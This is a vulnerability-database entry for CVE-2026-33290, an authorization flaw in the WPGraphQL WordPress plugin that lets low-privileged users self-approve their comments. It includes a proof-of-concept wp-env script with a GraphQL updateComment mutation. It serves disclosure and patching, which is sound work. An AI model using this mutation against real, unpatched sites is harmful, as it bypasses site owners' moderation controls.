Search covers the description text, product and vendor names and weakness types (also partial words).

CVE-2026-33290

Score4.3 Medium
CVSS 3.1
Exploit probability (EPSS)0.34%
within the next 30 days
CategoryAccess control & privilege
Published24 March 2026
Last modified: 17 June 2026

In short

This vulnerability can be exploited remotely over the network, with a regular user account, without any user interaction.

Impact is limited: modifying data.

Weakness type: Missing authorization.

✨ AI commentary

After a short ad, a plain-language commentary on this vulnerability is shown. AI can make mistakes; base decisions on the official sources.

Official description

WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch. ### Details In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based: - plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH). This means a non-moderator owner can submit status during update and transition moderation state. ### PoC Tested in local wp-env (Docker) with WPGraphQL 2.9.1. 1. Start environment: npm install npm run wp-env start 2. Run this PoC: ``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]); wp_set_current_user($user_id); $result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$comment_id ], ]); echo wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ``` 3. Observe result: - role_caps is empty (or no moderate_comments) - mutation returns status: APPROVE - DB value becomes comment_approved = 1 ### Impact This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.

CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Weakness: CWE-862 – Missing authorization

Sources

Latest in the same category

  • CVE-2026-139886 Medium 4.8
    A vulnerability has been found in ApodexAI FrontierAgent up to 0.1.0. The impacted element is the function PermissionStore.load of the file apodex/permissions.py. The manipulation leads to improper authorization. An…
    Access control & privilege · 30 November 2026
  • CVE-2026-115422 Critical 9.8
    A flaw was found in 389 Directory Server. The Virtual List View (VLV) candidate-list construction evaluates LDAP search filters without enforcing attribute access controls, then publishes the resulting candidate count…
    Access control & privilege · 30 November 2026
  • CVE-2026-109159 High 8.2
    A flaw was found in FreeIPA. A directory principal holding only the right to add new entries in the directory can create a Kerberos service principal configured for unconstrained delegation that remains fully…
    Access control & privilege · 30 November 2026
  • CVE-2026-107934 Critical 9.1
    A privilege escalation from host to domain admin vulnerability was found in the FreeIPA project. The krbPrincipalMatch matching rule used to enforce Kerberos principal name uniqueness does not perform RFC 4517…
    Access control & privilege · 30 November 2026
  • CVE-2026-92440 High 7
    Incorrect route priority calculation in Kong Gateway Enterprise and Kong AI Gateway, when route_match_calculation is original (the default) with the traditional_compatible or expressions router, can select an…
    Access control & privilege · 30 November 2026
  • CVE-2026-125088 High 8.6
    Incorrect authorization in the Admins API of Kong Gateway Enterprise and Kong AI Gateway allows a workspace-scoped administrator to modify administrator accounts outside its workspace via wildcard scoping, obtaining…
    Access control & privilege · 30 November 2026